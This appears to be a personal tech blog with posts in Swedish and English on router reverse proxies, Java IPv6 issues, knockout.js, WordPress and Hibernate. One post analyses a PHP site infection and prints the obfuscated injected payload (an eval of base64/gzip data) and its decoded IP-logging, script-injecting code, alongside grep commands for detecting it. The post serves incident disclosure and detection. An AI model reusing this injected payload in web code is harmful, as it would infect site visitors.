Om du har ADSL bredband från Telia så har du antagligen en Thomson TG789vn router därhemma. Jag har en sådan och har letat efter ett sätt att kunna administrera den över Internet då jag inte är hemma. Det verkar tyvärr inte finnas stöd för detta i routerns Telia-strypta programvara.

TG789vn

Ett sätt att komma runt detta är att man sätter upp en reverse proxy. I ‘mitt fall så löste jag det genom att använda mod_proxy i den apache webbserver som jag har igång hemma och som är öppnad (port forward port 80) mot Internet. Utöver det så har jag ett dynamiskt domän-namn kopplat mot servern.

Så här gick jag till väga:

1. Först skapade jag en egen subdomän kallad http://router.dindomän.com och pekade den mot servern.

2. Kollade så att apache har mod_proxy enablat i /usr/local/etc/apache22/httpd.conf

LoadModule proxy_module libexec/apache22/mod_proxy.so
LoadModule proxy_http_module libexec/apache22/mod_proxy_http.so
LoadModule xml2enc_module     libexec/apache22/mod_xml2enc.so
LoadFile   /usr/local/lib/libxml2.so
LoadModule proxy_html_module  libexec/apache22/mod_proxy_html.so

2. Skapade en användare för att lösenordsskydda routern. Username nedan är användarnamnet, lösenordet skriver man på förfrågan.

 htpasswd -c /usr/local/etc/router.user username

3. Lade in följande i apaches configurationför virtualhosts i /usr/local/etc/apache22/extra/httpd-vhosts.conf. 192.168.1.1 är den IP-adress som routern har på hemma-nätverket. Routern skyddas av BASIC-autentisering.

<Virtualhost *>
  ServerName router.domainname.com
  ProxyRequests Off
  <Proxy *>
     Order deny,allow
     Allow from all
    AuthType Basic
    AuthName "Password Required"
    AuthUserFile  /usr/local/etc/router.user
    Require valid-user
  </Proxy>

    ProxyPass / http://192.168.1.1/
    ProxyPassReverse / http://192.168.1.1

 </Virtualhost>

4. Starta om apache och besök webbsidan http://router.dindomän.com. Thomson boxens admin-sida bör nu dyka upp efter att du matat in användarnamn och lösenord.

Det var alles, happy administration!

I have recently discovered that one of my sites were spreading a trojan virus called ”JS_Agent-AXQ”. Somehow ”the attack” had gained access to my server and written code to the head of some php files. When the inserted code was executed, by the unsuspected visitor, it showed popup ads and god know what. My guess is that an outdated WordPress installation, a WP plugin/theme or an old forum had a vulnerability that made my server a target. From now on I will surely keep my WordPress-installations updated!

The injected code is quite clever, you can't really know what it is doing because the code is confuscated.

eval(gzinflate(base64_decode('zVhtc9pIDP7czvQ/8CEzwEwuNTYkZVpumuOtJrUJhsTgm5sM2AYWjHGwCZhe//thS5toA+n1Xnpz30DWarXS80jadVer5epu5QbLVcT8SU7Kv3/z+oQFlZO7bt24rRu/Zo261u7V7y5rNSP72/sTZ0W+1drVG62u9+6MdruXfh2NK3uVs+zb7NnCKeWcYeTmsosz5yzO5lPby71KppJ5Sek0Ygs3l//p3XlRktIVbJzJjZnn3rlbFkZhLrWQz39c+x7z5/g31cuF0SpYhrmPqfrEje7spR+5frIoUTrdHyyfqVQqmfHQC938lzevX70KVsyPctkPob1iQfRz9mw0DN3z4p3j2ktn75bzqVVyZeNhoNxGllmSzLjFVBaykWyUVE+6vzafvo1Nfeo09eVV0/Bt2dlZTTtwlaA42EnbtuIo130nGC2MB2cXlcFup2w1yzPHLHgj3xipCz22zIZk3dyGVirrsH53wmzll+mIqUFbKcwGfWM2rE6nlmzsrNi7cP3p7Lp3eTHuG7HbjwKLTRUnLs1Hsl4Ymbdrp+opQ3P/X3H29ve+xupK9cFf1SvsZa0H69Oc9XsSS2yp/uMebNB3PKfZUKyudzE0B0tHsddP/nb2ZxuUHdlLZEpbLpbNWN2NYjVUZ8ZcZRum1wbsc3Uvq6ayGcjqiUzSU72OnMi0HujZoDdNZfIykW2tbiLT71OZOU/1hunaxiK110z1pAHorUGmpTKL2ENftjpLZK0N2UMagC8gM0PwGWQSrLWJz+ifeZPIYvAZ/OP7aqmssQJZHXxm5LyyRGNQIPa2VqrX8ImMn/eexmUIe6xBb0DXLolejD6HiSyNx6JOzve38oSxNtih38Y9PfOIEXvNDlkr2PtRMVxRe6CnFagMfdnSGIAvDS+1179M/dPYE94QH9KAPcVPkwXZjPgsafS8yiXBtLoluXspT7hefyDnkwDDPF43VO8YrhXizxawpIeHuO7sSN4xd60ljQ3EX4e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vzCzsOyzeKEQ/Nkv95YcUjuVAbNhtxRy7Pre50M+i3dtaNt3aq07Upe87nWj2+mqkrjc2Tt7/z67524Sw2ZdW3pvs8Hn2Ts/rJt+n5Vb9QHncqlWz+LPvhLX/dTB5KX71KnlRPxkGmkvk4Xgaunz6PZk4z2WE2n/8yDtbJi+n++2nmhAVn2d/3yzJj21uGbiLOv//65vXXPwA=')));

If I remove the ”eval” code and print it (echo gzinflate(base64_decode('….')) I get this:

error_reporting(0);
$ip=$_SERVER['REMOTE_ADDR'];$dr=$_SERVER['DOCUMENT_ROOT'];$dbf=$dr.'/'.md5(date('m.d.y'));
$odbf = $dr.'/'.md5(date('m.d.y',time()-86400));
if (file_exists($odbf))@unlink($odbf);
if(strpos(@file_get_contents($dbf),$ip) === false){
		print('');
		if ($fp = @fopen($dbf , 'a')){fputs($fp , $ip.'|'); fclose($fp);}
}

The code prints out a script-tag with base64 encoded string, however I can't write that decoded string to this post because my PC antivirus program then blocks the page. And probably yours to. Decode the base64 string yourself. The javascript is also obfuscated I haven't tried to figure out what it does. From what I can tell it writes to the body of the document.

Are your server infected?
Run the command ”grep -lr 'eval(gzinflate' *” on your webfiles and find out. It will list all infected files. You could also run ”grep -lr 'eval(base64_decode' *” to find code injections from its evil twin.

Read more about it
Fixing an infected php web server
c99madshell security review

The next step for me is to reinstall my FreeBSd webserver after many years in service. Changing every password and updating every third party software on the way… :)

One day I got this message that said ”do you want to update java to the latest version”, which I then accepted. However, after the update everything ”java” running in Internet Explorer and Firefox stopped working. The testpages (JavaTest 1,
JavaTest 2) did not work, all they said was ”JavaVersionDisplayApplet.class ClassNotFoundException” and ”testjava2_1.testvmapplet.class ClassNotFoundException”.

I then tried to uninstall and reinstall everything Java on my Windows 7 64-bit machine. Tried both the 32 and 64 bit Java version, tried both the jdk and the jre. Nothing worked! After a couple of hours I found this thread that lead me in the right direction.

Solution
1) Go to the ”windows control panel” and press the Java icon. Alternatively, go to your jre folder and execute ”javacpl.exe”. If you have multiple jre’s installed then only change one of them because I think they overwrite eachothers settings.

2) Go to the Java-tab and change ”settings for java runtime environment”. Add ”-Djava.net.preferIPv4Stack=true” to the run paramaters for your jre. When you are done with this step it should work again. Restart your browser and test your java.

It should look like this (in swedish)
jre-control-panel

3) If you are still having problem, check the ”network settings” in the java control panel.

4) A good way to ”debug” java jre trouble like this is to enable the java console. This can be done in the ”advanced” tab of the java control panel. By enabling the console you get a window which shows valuable debug information.

I think this problem is somehow related to our network at work which is IPv6 enabled. Or perhaps it is our VPN that uses IPv6. Well, I have given this problem to much attention. Back to work…

Today I was developing at work as usual at work, however I used the wifi connection because the cabled network was not working. My first problem for the day was that Eclipse could not connect to repositories when trying to install new software. All I got was ”permission denied” errors and…

org.eclipse.equinox.p2.core.ProvisionException Unable to read repository at http://download.eclipse.org/releases/indigo/content.xml

Solution: Add ”-Djava.net.preferIPv4Stack=true” to eclipse.ini

My second problem was that I got really strange errors from my local Resin Application Server. It could not connect to my local SQl-server.

Solution: Add ”-Djava.net.preferIPv4Stack=true” to Resin jvm start arguments

My conclusion is that because our wifi network uses IPv6 then Java uses that instead of IPv4 if not clearly stated. And the applications that I was using was not ”configured” for IPv6 usage.

I am doing a lot of javascript coding nowadays with knockout.js and jQuery. Working in Firefox and Firebug make you forget all those nasty habits of Internet Explorer, until the releasedate is coming closer. ho ho! This was one nasty ”thing” that I had forgotten. Console.log is only available in ”debug mode” (hit F12) in Internet Explorer. If you are calling console.log in ”standard mode” your webpage breaks.

One solution is to remove all logging and another one is to follow ”Mister Lucky’s” comment at stackoverflow and declare console.log like this:

if (!('console' in this)) console={};
'log info warn error dir clear'.replace(/\w+/g,function(f) {
if (!(f in console)) console[f]=console.log||new Function;
});

Now I never forget this silly one…

I ran into a very strange problem in one of my WordPress sites. Some shortcode tags (Shortcode API) for a plugin did not work properly. In my case it was the ”NextGEN Gallery Version 1.9.3″ plugin that couldn’t show a photo album, no photos where shown. Then I did some serious troubleshooting by looking into the source code of that plugin. I found out that the shortcode ”album” was misbehaving. It generated its output correctly but it were not shown on the webpage.

Then I began to realize that it was a case of shortcode conflict between my installed plugins. Two of my activated plugins used the same shortcode ”album”. After enabling and disabling my other plugins I found out that the ”Simple Facebook Connect Version 1.3 ” plugin caused the problem. Luckily I did not use that plugin any longer so I disabled and deleted it. If I really would have needed that plugin I would have to rewrite the source code of one of the plugins to change the shortcodes that conflicted.

This is something that WordPress users should be aware of, my guess is that there are a lot of conflicts between plugins that causes very random errors.

This was a really simple problem but is was pretty annoying for a while. I was working with an observableArray in knockout.js and wanted to update a field in one of the items like this:


var ExperienceViewModel = {
  items: ko.observableArray([])
  // adding items to array...
}

function updateViewModel(data)
{
  for (var i = 0; i < viewModel.items().length; i++) {
    if (viewModel.items()[i].Id == data.Id) {
      viewModel.items()[i].Description = data.Description;
    }
  }
}

By doing changes to the viewModel items this way the user interface (webpage) wasn't updated. Strange!? To get it working I had to remove the item from the array and then add it again like this:


function updateViewModel(data)
{
  for (var i = 0; i < viewModel.items().length; i++) {
    if (viewModel.items()[i].Id == data.Id) {
      viewModel.items.splice(i, 1);
      viewModel.items.push(data);
    }
  }
}

I am not a master of knockout.js, however this solution solved my problem.

Igår var jag på appslöjd med Microsoft och gjord min första Windows Phone 7 app. Det gick förvånansvärt bra och enkelt var det. Appen är klar, men tyvärr kan jag inte publicera den på marketplace då jag inte tycker att det är värt att betala 99$ årligen för utvecklar-licensen.

Då min app ska vara en gratisapp som max ett hundratal personer skulle använda så är det inte ekonomiskt motiverat att lägga upp den. Så tyvärr Microsoft, eran prismodell för WP7 passar inte för hobbyutvecklare av småskaliga appar. Det känns nästan som att man motarbetar sådana.

Androids prismodell med en engångsavgift på 25$ dollar känns här betydligt mer rimlig. Det priset är satt för att få bort de värsta HelloWorld-apparna men utan att skrämma bort hobbyutvecklarna. Det finns väl inget syfte med att motverka utvecklare till den egna plattformen kan man tycka som i WP7 fallet. Apple Ios-utvecklare får tydligen också betala samma summa.

Inkomsterna som dessa bolag får av utvecklarna borde vara försumbar i det stora hela. Den enda anledningen till denna barriär, som jag kan se det, är att genom att ha en relativt hög avgift så får man upp kvaliteten på apparna som publiceras. Det genom att de som satsar på att utveckla till en plattform verkligen ser till att jobba med sina appar med motiveringen att om man betalar en relativt hög avgift så vill man utnyttja det till fullo. Något som en hobbyutvecklare kanske inte har råd/tid med på samma sätt.

Så lite besviken är jag ändå på Microsoft att min app inte kan publiceras på marketplace under rådande omständigheter. Om Windows Phone får en större spridning så skulle jag omvärdera mitt beslut att inte publicera, men i dagsläget så är det inte värt det.

The error ”org.hibernate.LazyInitializationException: could not initialize proxy – no Session” has been giving me a headache for the last couple of days. So many people on the Internet have different answers and solutions to this error. The web-app that I am working on is made with Java + Resin + Spring + Hibernate + JSP + Stripes. This error occurs when the session is no longer active.

Add this to your web.xml file and sessions should be open during the entire request.


<filter>
<filter-name>OpenSessionInViewFilter</filter-name>
<filter-class>org.springframework.orm.hibernate3.support.OpenSessionInViewFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>OpenSessionInViewFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

Works for me! Read more about OpenSessionInViewFilter